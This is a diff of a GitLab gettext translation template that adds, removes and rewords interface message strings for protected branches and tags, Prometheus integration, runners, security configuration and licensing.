@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
